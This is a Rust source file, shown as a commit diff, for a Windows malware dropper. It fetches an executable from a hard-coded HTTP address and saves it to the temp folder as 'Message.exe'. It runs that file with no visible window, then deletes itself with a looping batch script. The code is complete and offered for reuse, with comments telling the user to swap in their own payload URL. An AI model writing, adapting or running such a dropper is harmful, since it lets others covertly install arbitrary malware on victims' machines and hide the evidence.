|
| 1 | +use futures_util::StreamExt; |
| 2 | +use tokio::fs::File; |
| 3 | +use tokio::io::AsyncWriteExt; |
| 4 | +use reqwest::Client; |
| 5 | +use winapi::um::errhandlingapi::GetLastError; |
| 6 | +use std::env::{self, temp_dir}; |
| 7 | +use std::io::{self, Write}; |
| 8 | +use std::path::PathBuf; |
| 9 | +use std::process::Command; |
| 10 | +use std::ptr::null_mut; |
| 11 | +use std::thread; |
| 12 | +use std::time::Duration; |
| 13 | +use winapi::um::processthreadsapi::{CreateProcessW, PROCESS_INFORMATION, STARTUPINFOW}; |
| 14 | +use winapi::um::winbase::CREATE_NO_WINDOW; |
| 15 | +use widestring::WideCString; |
| 16 | +use winapi::um::handleapi::CloseHandle; |
| 17 | + |
| 18 | +#[tokio::main] |
| 19 | +async fn main() { |
| 20 | + // Replace your URL |
| 21 | + let url = "http://192.168.102.134:8080/test.exe"; |
| 22 | + |
| 23 | + // Here mention your File name |
| 24 | + let temp_path: PathBuf = temp_dir().join("Message.exe"); |
| 25 | + |
| 26 | + let client = Client::new(); |
| 27 | + |
| 28 | + match download_file(&client, url, &temp_path).await{ |
| 29 | + Ok(_) => { |
| 30 | + println!("File downloaded successfully."); |
| 31 | + |
| 32 | + if execute_file(&temp_path).await { |
| 33 | + println!("Executed Successfully"); |
| 34 | + } else { |
| 35 | + println!("Unable to execute the File"); |
| 36 | + } |
| 37 | + } |
| 38 | + Err(e) => println!("Failed to download the file: {:?}", e), |
| 39 | + } |
| 40 | + |
| 41 | + del_dropper().expect("Error while Deleting dropper"); |
| 42 | +} |
| 43 | + |
| 44 | +async fn download_file(client: &Client, url: &str, path: &std::path::Path) -> Result<(), Box<dyn std::error::Error>> { |
| 45 | + let response = client.get(url).send().await?; |
| 46 | + |
| 47 | + if response.status().is_success() { |
| 48 | + let mut file = File::create(path).await?; |
| 49 | + let mut stream = response.bytes_stream(); |
| 50 | + |
| 51 | + while let Some(chunk) = stream.next().await { |
| 52 | + let chunk = chunk?; |
| 53 | + file.write_all(&chunk).await?; |
| 54 | + } |
| 55 | + |
| 56 | + Ok(()) |
| 57 | + } else { |
| 58 | + Err(Box::new(std::io::Error::new( |
| 59 | + std::io::ErrorKind::Other, |
| 60 | + format!("Failed to download file: HTTP {}", response.status()), |
| 61 | + ))) |
| 62 | + } |
| 63 | +} |
| 64 | + |
| 65 | +async fn execute_file(path: &std::path::Path) -> bool { |
| 66 | + let exe_path = WideCString::from_str(path.to_string_lossy()).unwrap(); |
| 67 | + |
| 68 | + let mut si: STARTUPINFOW = unsafe { std::mem::zeroed() }; |
| 69 | + si.cb = std::mem::size_of::<STARTUPINFOW>() as u32; |
| 70 | + |
| 71 | + let mut pi = PROCESS_INFORMATION { |
| 72 | + hProcess: null_mut(), |
| 73 | + hThread: null_mut(), |
| 74 | + dwProcessId: 0, |
| 75 | + dwThreadId: 0, |
| 76 | + }; |
| 77 | + |
| 78 | + let result = unsafe { |
| 79 | + CreateProcessW( |
| 80 | + null_mut(), |
| 81 | + exe_path.into_raw(), |
| 82 | + null_mut(), |
| 83 | + null_mut(), |
| 84 | + false as i32, |
| 85 | + CREATE_NO_WINDOW, |
| 86 | + null_mut(), |
| 87 | + null_mut(), |
| 88 | + &mut si, |
| 89 | + &mut pi, |
| 90 | + ) |
| 91 | + }; |
| 92 | + |
| 93 | + if result != 0 { |
| 94 | + unsafe { |
| 95 | + CloseHandle(pi.hProcess); |
| 96 | + CloseHandle(pi.hThread); |
| 97 | + } |
| 98 | + true |
| 99 | + } else { |
| 100 | + let error_code = unsafe { GetLastError() }; |
| 101 | + println!("Failed to execute file in the background. Error code: {}", error_code); |
| 102 | + false |
| 103 | + } |
| 104 | + |
| 105 | +} |
| 106 | + |
| 107 | +fn del_dropper() -> io::Result<()>{ |
| 108 | + let exe_path = env::current_exe()?.display().to_string(); |
| 109 | + let batch_content = format!( |
| 110 | + "@echo off\n\ |
| 111 | + :loop\n\ |
| 112 | + del \"{}\" > NUL 2>&1\n\ |
| 113 | + if exist \"{}\" goto loop\n\ |
| 114 | + del \"%~f0\"", |
| 115 | + exe_path, exe_path |
| 116 | + ); |
| 117 | + |
| 118 | + let batch_file = temp_dir().join("self_delelte.bat"); |
| 119 | + let mut file = std::fs::File::create(batch_file.clone())?; |
| 120 | + |
| 121 | + file.write_all(batch_content.as_bytes())?; |
| 122 | + |
| 123 | + Command::new("cmd") |
| 124 | + .args(&["/C", batch_file.to_str().expect("Error")]) |
| 125 | + .spawn()?; |
| 126 | + |
| 127 | + thread::sleep(Duration::from_secs(1)); |
| 128 | + |
| 129 | + Ok(()) |
| 130 | +} |
0 commit comments